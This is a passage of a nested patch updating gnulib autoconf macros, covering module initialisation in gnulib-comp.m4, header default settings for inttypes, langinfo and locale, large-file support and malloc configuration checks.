++ # elif 199901L <= __STDC_VERSION__ || defined restrict
++ # define _UC_RESTRICT restrict
++ # else
++ # define _UC_RESTRICT
++ # endif
++ ])
++ gl_LIBUNISTRING_LIBHEADER([0.9.11], [uniwidth.h])
+ gl_LIBUNISTRING_MODULE([0.9.8], [uniwidth/width])
+ gl_FUNC_VASPRINTF
+ gl_STDIO_MODULE_INDICATOR([vasprintf])
+@@ -376,7 +471,9 @@ AC_DEFUN([gl_INIT],
+ [AM_][XGETTEXT_OPTION([--flag=asprintf:2:c-format])
+ AM_][XGETTEXT_OPTION([--flag=vasprintf:2:c-format])])
+ gl_WCHAR_H
++ gl_WCHAR_H_REQUIRE_DEFAULTS
+ gl_WCTYPE_H
++ gl_WCTYPE_H_REQUIRE_DEFAULTS
+ gl_FUNC_WCWIDTH
+ if test $HAVE_WCWIDTH = 0 || test $REPLACE_WCWIDTH = 1; then
+ AC_LIBOBJ([wcwidth])
+@@ -395,17 +492,16 @@ AC_DEFUN([gl_INIT],
+ gl_gnulib_enabled_dynarray=false
+ gl_gnulib_enabled_fcntl=false
+ gl_gnulib_enabled_43fe87a341d9b4b93c47c3ad819a5239=false
++ gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955=false
+ gl_gnulib_enabled_fstat=false
+ gl_gnulib_enabled_getdtablesize=false
+ gl_gnulib_enabled_30838f5439487421042f2225bed3af76=false
+- gl_gnulib_enabled_intprops=false
+ gl_gnulib_enabled_langinfo=false
+ gl_gnulib_enabled_21ee726a3540c09237a8e70c0baf7467=false
+ gl_gnulib_enabled_localcharset=false
+ gl_gnulib_enabled_locale=false
+ gl_gnulib_enabled_localeconv=false
+ gl_gnulib_enabled_lock=false
+- gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866=false
+ gl_gnulib_enabled_mbtowc=false
+ gl_gnulib_enabled_mempcpy=false
+ gl_gnulib_enabled_f691f076f650964c9f5598c3ee487616=false
+@@ -506,8 +602,9 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_dynarray ()
+ {
+ if ! $gl_gnulib_enabled_dynarray; then
++ AC_PROG_MKDIR_P
+ gl_gnulib_enabled_dynarray=true
+- func_gl_gnulib_m4code_intprops
++ func_gl_gnulib_m4code_37f71b604aa9c54446783d80f42fe547
+ func_gl_gnulib_m4code_21ee726a3540c09237a8e70c0baf7467
+ fi
+ }
+@@ -540,6 +637,18 @@ AC_DEFUN([gl_INIT],
+ gl_gnulib_enabled_43fe87a341d9b4b93c47c3ad819a5239=true
+ fi
+ }
++ func_gl_gnulib_m4code_ef07dc4b3077c11ea9cef586db4e5955 ()
++ {
++ if ! $gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955; then
++ gl_FUNC_FREE
++ if test $REPLACE_FREE = 1; then
++ AC_LIBOBJ([free])
++ gl_PREREQ_FREE
++ fi
++ gl_STDLIB_MODULE_INDICATOR([free-posix])
++ gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955=true
++ fi
++ }
+ func_gl_gnulib_m4code_fstat ()
+ {
+ if ! $gl_gnulib_enabled_fstat; then
+@@ -595,16 +704,11 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_e7e881d32ca02f1c997b13c737c64bbd
+ fi
+ }
+- func_gl_gnulib_m4code_intprops ()
+- {
+- if ! $gl_gnulib_enabled_intprops; then
+- gl_gnulib_enabled_intprops=true
+- fi
+- }
+ func_gl_gnulib_m4code_langinfo ()
+ {
+ if ! $gl_gnulib_enabled_langinfo; then
+ gl_LANGINFO_H
++ gl_LANGINFO_H_REQUIRE_DEFAULTS
+ gl_gnulib_enabled_langinfo=true
+ fi
+ }
+@@ -629,6 +733,7 @@ AC_DEFUN([gl_INIT],
+ {
+ if ! $gl_gnulib_enabled_locale; then
+ gl_LOCALE_H
++ gl_LOCALE_H_REQUIRE_DEFAULTS
+ gl_gnulib_enabled_locale=true
+ fi
+ }
+@@ -666,18 +771,6 @@ AC_DEFUN([gl_INIT],
+ fi
+ fi
+ }
+- func_gl_gnulib_m4code_ef455225c00f5049c808c2eda3e76866 ()
+- {
+- if ! $gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866; then
+- gl_FUNC_MALLOC_POSIX
+- if test $REPLACE_MALLOC = 1; then
+- AC_LIBOBJ([malloc])
+- fi
+- gl_STDLIB_MODULE_INDICATOR([malloc-posix])
+- gl_MODULE_INDICATOR([malloc-posix])
+- gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866=true
+- fi
+- }
+ func_gl_gnulib_m4code_mbtowc ()
+ {
+ if ! $gl_gnulib_enabled_mbtowc; then
+@@ -803,7 +896,6 @@ AC_DEFUN([gl_INIT],
+ gl_STAT_TIME
+ gl_STAT_BIRTHTIME
+ gl_gnulib_enabled_0137e3d3638b33e5819d132d0b23165c=true
+- func_gl_gnulib_m4code_intprops
+ func_gl_gnulib_m4code_time
+ fi
+ }
+@@ -870,7 +962,8 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_sys_stat ()
+ {
+ if ! $gl_gnulib_enabled_sys_stat; then
+- gl_HEADER_SYS_STAT_H
++ gl_SYS_STAT_H
++ gl_SYS_STAT_H_REQUIRE_DEFAULTS
+ AC_PROG_MKDIR_P
+ gl_gnulib_enabled_sys_stat=true
+ func_gl_gnulib_m4code_time
+@@ -886,7 +979,8 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_time ()
+ {
+ if ! $gl_gnulib_enabled_time; then
+- gl_HEADER_TIME_H
++ gl_TIME_H
++ gl_TIME_H_REQUIRE_DEFAULTS
+ gl_gnulib_enabled_time=true
+ fi
+ }
+@@ -897,6 +991,7 @@ AC_DEFUN([gl_INIT],
+ gl_FUNC_VASNPRINTF
+ gl_gnulib_enabled_vasnprintf=true
+ func_gl_gnulib_m4code_attribute
++ func_gl_gnulib_m4code_ef07dc4b3077c11ea9cef586db4e5955
+ func_gl_gnulib_m4code_xsize
+ fi
+ }
+@@ -1002,6 +1097,9 @@ AC_DEFUN([gl_INIT],
+ if test $REPLACE_OPEN = 1; then
+ func_gl_gnulib_m4code_stat
+ fi
++ if test $REPLACE_REALLOC = 1; then
++ func_gl_gnulib_m4code_ef07dc4b3077c11ea9cef586db4e5955
++ fi
+ if test $ac_use_included_regex = yes; then
+ func_gl_gnulib_m4code_attribute
+ fi
+@@ -1015,9 +1113,6 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_dynarray
+ fi
+ if test $ac_use_included_regex = yes; then
+- func_gl_gnulib_m4code_intprops
+- fi
+- if test $ac_use_included_regex = yes; then
+ func_gl_gnulib_m4code_langinfo
+ fi
+ if test $ac_use_included_regex = yes; then
+@@ -1032,12 +1127,6 @@ AC_DEFUN([gl_INIT],
+ if test $ac_use_included_regex = yes; then
+ func_gl_gnulib_m4code_wcrtomb
+ fi
+- if test $REPLACE_STRDUP = 1; then
+- func_gl_gnulib_m4code_ef455225c00f5049c808c2eda3e76866
+- fi
+- if test $REPLACE_STRERROR = 1; then
+- func_gl_gnulib_m4code_intprops
+- fi
+ if test $REPLACE_STRERROR = 1; then
+ func_gl_gnulib_m4code_dbb57f49352be8fb86869629a254fb72
+ fi
+@@ -1057,17 +1146,16 @@ AC_DEFUN([gl_INIT],
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_dynarray], [$gl_gnulib_enabled_dynarray])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_fcntl], [$gl_gnulib_enabled_fcntl])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_43fe87a341d9b4b93c47c3ad819a5239], [$gl_gnulib_enabled_43fe87a341d9b4b93c47c3ad819a5239])
++ AM_CONDITIONAL([gl_GNULIB_ENABLED_ef07dc4b3077c11ea9cef586db4e5955], [$gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_fstat], [$gl_gnulib_enabled_fstat])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_getdtablesize], [$gl_gnulib_enabled_getdtablesize])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_30838f5439487421042f2225bed3af76], [$gl_gnulib_enabled_30838f5439487421042f2225bed3af76])
+- AM_CONDITIONAL([gl_GNULIB_ENABLED_intprops], [$gl_gnulib_enabled_intprops])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_langinfo], [$gl_gnulib_enabled_langinfo])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_21ee726a3540c09237a8e70c0baf7467], [$gl_gnulib_enabled_21ee726a3540c09237a8e70c0baf7467])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_localcharset], [$gl_gnulib_enabled_localcharset])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_locale], [$gl_gnulib_enabled_locale])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_localeconv], [$gl_gnulib_enabled_localeconv])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_lock], [$gl_gnulib_enabled_lock])
+- AM_CONDITIONAL([gl_GNULIB_ENABLED_ef455225c00f5049c808c2eda3e76866], [$gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_mbtowc], [$gl_gnulib_enabled_mbtowc])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_mempcpy], [$gl_gnulib_enabled_mempcpy])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_f691f076f650964c9f5598c3ee487616], [$gl_gnulib_enabled_f691f076f650964c9f5598c3ee487616])
+@@ -1105,6 +1193,8 @@ AC_DEFUN([gl_INIT],
+ m4_if(m4_sysval, [0], [],
+ [AC_FATAL([expected source file, required through AC_LIBSOURCES, not found])])
+ ])
++ m4_popdef([GL_MODULE_INDICATOR_PREFIX])
++ m4_popdef([GL_MACRO_PREFIX])
+ m4_popdef([gl_LIBSOURCES_DIR])
+ m4_popdef([gl_LIBSOURCES_LIST])
+ m4_popdef([AC_LIBSOURCES])
+@@ -1131,6 +1221,8 @@ AC_DEFUN([gl_INIT],
+ m4_pushdef([AC_LIBSOURCES], m4_defn([gltests_LIBSOURCES]))
+ m4_pushdef([gltests_LIBSOURCES_LIST], [])
+ m4_pushdef([gltests_LIBSOURCES_DIR], [])
++ m4_pushdef([GL_MACRO_PREFIX], [gltests])
++ m4_pushdef([GL_MODULE_INDICATOR_PREFIX], [GL])
+ gl_COMMON
+ gl_source_base='tests'
+ changequote(,)dnl
+@@ -1152,6 +1244,8 @@ changequote([, ])dnl
+ m4_if(m4_sysval, [0], [],
+ [AC_FATAL([expected source file, required through AC_LIBSOURCES, not found])])
+ ])
++ m4_popdef([GL_MODULE_INDICATOR_PREFIX])
++ m4_popdef([GL_MACRO_PREFIX])
+ m4_popdef([gltests_LIBSOURCES_DIR])
+ m4_popdef([gltests_LIBSOURCES_LIST])
+ m4_popdef([AC_LIBSOURCES])
+@@ -1247,6 +1341,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/basename-lgpl.h
+ lib/btowc.c
+ lib/c++defs.h
++ lib/calloc.c
+ lib/cdefs.h
+ lib/cloexec.c
+ lib/cloexec.h
+@@ -1266,6 +1361,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/float+.h
+ lib/float.c
+ lib/float.in.h
++ lib/free.c
+ lib/fstat.c
+ lib/getdtablesize.c
+ lib/getopt-cdefs.in.h
+@@ -1285,6 +1381,9 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/glthread/threadlib.c
+ lib/hard-locale.c
+ lib/hard-locale.h
++ lib/ialloc.c
++ lib/ialloc.h
++ lib/idx.h
+ lib/intprops.h
+ lib/inttypes.in.h
+ lib/iswblank.c
+@@ -1335,6 +1434,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/memchr.valgrind
+ lib/mempcpy.c
+ lib/memrchr.c
++ lib/minmax.h
+ lib/msvc-inval.c
+ lib/msvc-inval.h
+ lib/msvc-nothrow.c
+@@ -1347,6 +1447,8 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/printf-args.h
+ lib/printf-parse.c
+ lib/printf-parse.h
++ lib/realloc.c
++ lib/reallocarray.c
+ lib/regcomp.c
+ lib/regex.c
+ lib/regex.h
+@@ -1427,6 +1529,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/argz.m4
+ m4/btowc.m4
+ m4/builtin-expect.m4
++ m4/calloc.m4
+ m4/close.m4
+ m4/codeset.m4
+ m4/double-slash-root.m4
+@@ -1441,6 +1544,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/fcntl.m4
+ m4/fcntl_h.m4
+ m4/float_h.m4
++ m4/free.m4
+ m4/fstat.m4
+ m4/getdtablesize.m4
+ m4/getopt.m4
+@@ -1483,6 +1587,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/memchr.m4
+ m4/mempcpy.m4
+ m4/memrchr.m4
++ m4/minmax.m4
+ m4/mmap-anon.m4
+ m4/mode_t.m4
+ m4/msvc-inval.m4
+@@ -1498,6 +1603,8 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/pid_t.m4
+ m4/printf.m4
+ m4/pthread_rwlock_rdlock.m4
++ m4/realloc.m4
++ m4/reallocarray.m4
+ m4/regex.m4
+ m4/setlocale_null.m4
+ m4/size_max.m4
+@@ -1540,5 +1647,6 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/wint_t.m4
+ m4/xalloc.m4
+ m4/xsize.m4
++ m4/year2038.m4
+ m4/zzgnulib.m4
+ ])
+--- a/gnulib/m4/inttypes.m4
++++ b/gnulib/m4/inttypes.m4
+@@ -1,4 +1,4 @@
+-# inttypes.m4 serial 32
++# inttypes.m4 serial 35
+ dnl Copyright (C) 2006-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+ dnl From Derek Price, Bruno Haible.
+ dnl Test whether <inttypes.h> is supported or must be substituted.
+
+-AC_DEFUN([gl_INTTYPES_H],
++AC_DEFUN_ONCE([gl_INTTYPES_H],
+ [
+ AC_REQUIRE([gl_INTTYPES_INCOMPLETE])
+ gl_INTTYPES_PRI_SCN
+@@ -136,19 +136,34 @@ AC_DEFUN([gl_INTTYPES_CHECK_LONG_LONG_IN
+ AC_SUBST([$1])
+ ])
+
++# gl_INTTYPES_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_INTTYPES_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_INTTYPES_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_INTTYPES_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_INTTYPES_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_INTTYPES_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_IMAXABS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_IMAXDIV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOIMAX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOUMAX])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_INTTYPES_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_INTTYPES_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_INTTYPES_H_DEFAULTS],
+ [
+- GNULIB_IMAXABS=0; AC_SUBST([GNULIB_IMAXABS])
+- GNULIB_IMAXDIV=0; AC_SUBST([GNULIB_IMAXDIV])
+- GNULIB_STRTOIMAX=0; AC_SUBST([GNULIB_STRTOIMAX])
+- GNULIB_STRTOUMAX=0; AC_SUBST([GNULIB_STRTOUMAX])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_DECL_IMAXABS=1; AC_SUBST([HAVE_DECL_IMAXABS])
+ HAVE_DECL_IMAXDIV=1; AC_SUBST([HAVE_DECL_IMAXDIV])
+--- a/gnulib/m4/iswdigit.m4
++++ b/gnulib/m4/iswdigit.m4
+@@ -1,4 +1,4 @@
+-# iswdigit.m4 serial 2
++# iswdigit.m4 serial 3
+ dnl Copyright (C) 2020-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -81,12 +81,12 @@ main (int argc, char *argv[])
+ }
+ if (setlocale (LC_ALL, "$LOCALE_FR_UTF8") != NULL)
+ {
+- /* This fails on FreeBSD 12, NetBSD 8.0, MSVC 14. */
++ /* This fails on FreeBSD 13.0, NetBSD 8.0, MSVC 14. */
+ /* U+0663 ARABIC-INDIC DIGIT THREE */
+ is = for_character ("\331\243", 2);
+ if (!(is == 0))
+ result |= 4;
+- /* This fails on FreeBSD 12, NetBSD 8.0, MSVC 14. */
++ /* This fails on FreeBSD 13.0, NetBSD 8.0, MSVC 14. */
+ /* U+FF11 FULLWIDTH DIGIT ONE */
+ is = for_character ("\357\274\221", 3);
+ if (!(is == 0))
+--- a/gnulib/m4/iswxdigit.m4
++++ b/gnulib/m4/iswxdigit.m4
+@@ -1,4 +1,4 @@
+-# iswxdigit.m4 serial 2
++# iswxdigit.m4 serial 3
+ dnl Copyright (C) 2020-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -72,7 +72,7 @@ main (int argc, char *argv[])
+ }
+ if (setlocale (LC_ALL, "$LOCALE_FR_UTF8") != NULL)
+ {
+- /* This fails on FreeBSD 12. */
++ /* This fails on FreeBSD 13.0. */
+ /* U+0663 ARABIC-INDIC DIGIT THREE */
+ is = for_character ("\331\243", 2);
+ if (!(is == 0))
+--- a/gnulib/m4/langinfo_h.m4
++++ b/gnulib/m4/langinfo_h.m4
+@@ -1,10 +1,10 @@
+-# langinfo_h.m4 serial 9
++# langinfo_h.m4 serial 12
+ dnl Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_LANGINFO_H],
++AC_DEFUN_ONCE([gl_LANGINFO_H],
+ [
+ AC_REQUIRE([gl_LANGINFO_H_DEFAULTS])
+
+@@ -104,18 +104,33 @@ int a = YESEXPR;
+ ]], [nl_langinfo])
+ ])
+
++# gl_LANGINFO_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_LANGINFO_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_LANGINFO_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_LANGINFO_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_LANGINFO_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_LANGINFO_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_NL_LANGINFO])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_LANGINFO_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_LANGINFO_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_LANGINFO_H_DEFAULTS],
+ [
+- GNULIB_NL_LANGINFO=0; AC_SUBST([GNULIB_NL_LANGINFO])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_NL_LANGINFO=1; AC_SUBST([HAVE_NL_LANGINFO])
+ REPLACE_NL_LANGINFO=0; AC_SUBST([REPLACE_NL_LANGINFO])
+--- a/gnulib/m4/largefile.m4
++++ b/gnulib/m4/largefile.m4
+@@ -22,7 +22,8 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ esac
+ ])
+
+-# The following implementation works around a problem in autoconf <= 2.69;
++# Work around a problem in Autoconf through at least 2.71 on glibc 2.34+
++# with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+ m4_version_prereq([2.70], [], [
+@@ -40,6 +41,7 @@ m4_define([_AC_SYS_LARGEFILE_TEST_INCLUD
+ && LARGE_OFF_T % 2147483647 == 1)
+ ? 1 : -1]];[]dnl
+ ])
++])# m4_version_prereq 2.70
+
+
+ # _AC_SYS_LARGEFILE_MACRO_VALUE(C-MACRO, VALUE,
+@@ -54,7 +56,8 @@ m4_define([_AC_SYS_LARGEFILE_MACRO_VALUE
+ [AC_LANG_PROGRAM([$5], [$6])],
+ [$3=no; break])
+ m4_ifval([$6], [AC_LINK_IFELSE], [AC_COMPILE_IFELSE])(
+- [AC_LANG_PROGRAM([#define $1 $2
++ [AC_LANG_PROGRAM([#undef $1
++#define $1 $2
+ $5], [$6])],
+ [$3=$2; break])
+ $3=unknown
+@@ -80,9 +83,8 @@ rm -rf conftest*[]dnl
+ AC_DEFUN([AC_SYS_LARGEFILE],
+ [AC_ARG_ENABLE(largefile,
+ [ --disable-largefile omit support for large files])
+-if test "$enable_largefile" != no; then
+-
+- AC_CACHE_CHECK([for special C compiler options needed for large files],
++AS_IF([test "$enable_largefile" != no],
++ [AC_CACHE_CHECK([for special C compiler options needed for large files],
+ ac_cv_sys_largefile_CC,
+ [ac_cv_sys_largefile_CC=no
+ if test "$GCC" != yes; then
+@@ -107,15 +109,15 @@ if test "$enable_largefile" != no; then
+ ac_cv_sys_file_offset_bits,
+ [Number of bits in a file offset, on hosts where this is settable.],
+ [_AC_SYS_LARGEFILE_TEST_INCLUDES])
+- if test $ac_cv_sys_file_offset_bits = unknown; then
+- _AC_SYS_LARGEFILE_MACRO_VALUE(_LARGE_FILES, 1,
+- ac_cv_sys_large_files,
+- [Define for large files, on AIX-style hosts.],
+- [_AC_SYS_LARGEFILE_TEST_INCLUDES])
+- fi
+-fi
++ AS_CASE([$ac_cv_sys_file_offset_bits],
++ [unknown],
++ [_AC_SYS_LARGEFILE_MACRO_VALUE([_LARGE_FILES], [1],
++ [ac_cv_sys_large_files],
++ [Define for large files, on AIX-style hosts.],
++ [_AC_SYS_LARGEFILE_TEST_INCLUDES])],
++ [64],
++ [gl_YEAR2038_BODY([])])])
+ ])# AC_SYS_LARGEFILE
+-])# m4_version_prereq 2.70
+
+ # Enable large files on systems where this is implemented by Gnulib, not by the
+ # system headers.
+--- a/gnulib/m4/locale_h.m4
++++ b/gnulib/m4/locale_h.m4
+@@ -1,13 +1,13 @@
+-# locale_h.m4 serial 25
++# locale_h.m4 serial 28
+ dnl Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_LOCALE_H],
++AC_DEFUN_ONCE([gl_LOCALE_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
+ AC_REQUIRE([gl_LOCALE_H_DEFAULTS])
+
+ dnl Persuade glibc <locale.h> to define locale_t and the int_p_*, int_n_*
+@@ -129,22 +129,37 @@ AC_DEFUN([gl_LOCALE_T],
+ AC_SUBST([HAVE_XLOCALE_H])
+ ])
+
++# gl_LOCALE_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_LOCALE_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_LOCALE_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_LOCALE_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_LOCALE_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_LOCALE_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LOCALECONV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETLOCALE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETLOCALE_NULL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUPLOCALE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LOCALENAME])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_LOCALE_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_LOCALE_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_LOCALE_H_DEFAULTS],
+ [
+- GNULIB_LOCALECONV=0; AC_SUBST([GNULIB_LOCALECONV])
+- GNULIB_SETLOCALE=0; AC_SUBST([GNULIB_SETLOCALE])
+- GNULIB_SETLOCALE_NULL=0; AC_SUBST([GNULIB_SETLOCALE_NULL])
+- GNULIB_DUPLOCALE=0; AC_SUBST([GNULIB_DUPLOCALE])
+- GNULIB_LOCALENAME=0; AC_SUBST([GNULIB_LOCALENAME])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_NEWLOCALE=1; AC_SUBST([HAVE_NEWLOCALE])
+ HAVE_DUPLOCALE=1; AC_SUBST([HAVE_DUPLOCALE])
+--- a/gnulib/m4/malloc.m4
++++ b/gnulib/m4/malloc.m4
+@@ -1,21 +1,21 @@
+-# malloc.m4 serial 22
++# malloc.m4 serial 27
+ dnl Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+ # This is adapted with modifications from upstream Autoconf here:
+-# https://git.savannah.gnu.org/cgit/autoconf.git/commit/?id=04be2b7a29d65d9a08e64e8e56e594c91749598c
++# https://git.savannah.gnu.org/cgit/autoconf.git/tree/lib/autoconf/functions.m4?id=v2.70#n949
+ AC_DEFUN([_AC_FUNC_MALLOC_IF],
+ [
+ AC_REQUIRE([AC_CANONICAL_HOST])dnl for cross-compiles
+- AC_CACHE_CHECK([for GNU libc compatible malloc],
++ AC_CACHE_CHECK([whether malloc (0) returns nonnull],
+ [ac_cv_func_malloc_0_nonnull],
+ [AC_RUN_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[#include <stdlib.h>
+ ]],
+- [[char *p = malloc (0);
++ [[void *p = malloc (0);
+ int result = !p;
+ free (p);
+ return result;]])
+@@ -24,75 +24,151 @@ AC_DEFUN([_AC_FUNC_MALLOC_IF],
+ [ac_cv_func_malloc_0_nonnull=no],
+ [case "$host_os" in
+ # Guess yes on platforms where we know the result.
+- *-gnu* | gnu* | *-musl* | freebsd* | midnightbsd* | netbsd* | openbsd* \
+- | hpux* | solaris* | cygwin* | mingw*)
++ *-gnu* | freebsd* | netbsd* | openbsd* | bitrig* \
++ | gnu* | *-musl* | midnightbsd* \
++ | hpux* | solaris* | cygwin* | mingw* | msys* )
+ ac_cv_func_malloc_0_nonnull="guessing yes" ;;
+ # If we don't know, obey --enable-cross-guesses.
+ *) ac_cv_func_malloc_0_nonnull="$gl_cross_guess_normal" ;;
+ esac
+ ])
+ ])
+- case "$ac_cv_func_malloc_0_nonnull" in
+- *yes)
+- $1
+- ;;
+- *)
+- $2
+- ;;
+- esac
++ AS_CASE([$ac_cv_func_malloc_0_nonnull], [*yes], [$1], [$2])
+ ])# _AC_FUNC_MALLOC_IF
+
+ # gl_FUNC_MALLOC_GNU
+ # ------------------
+-# Test whether 'malloc (0)' is handled like in GNU libc, and replace malloc if
+-# it is not.
++# Replace malloc if it is not compatible with GNU libc.
+ AC_DEFUN([gl_FUNC_MALLOC_GNU],
+ [
+ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
+- dnl _AC_FUNC_MALLOC_IF is defined in Autoconf.
+- _AC_FUNC_MALLOC_IF(
+- [AC_DEFINE([HAVE_MALLOC_GNU], [1],
+- [Define to 1 if your system has a GNU libc compatible 'malloc'
+- function, and to 0 otherwise.])],
+- [AC_DEFINE([HAVE_MALLOC_GNU], [0])
+- REPLACE_MALLOC=1
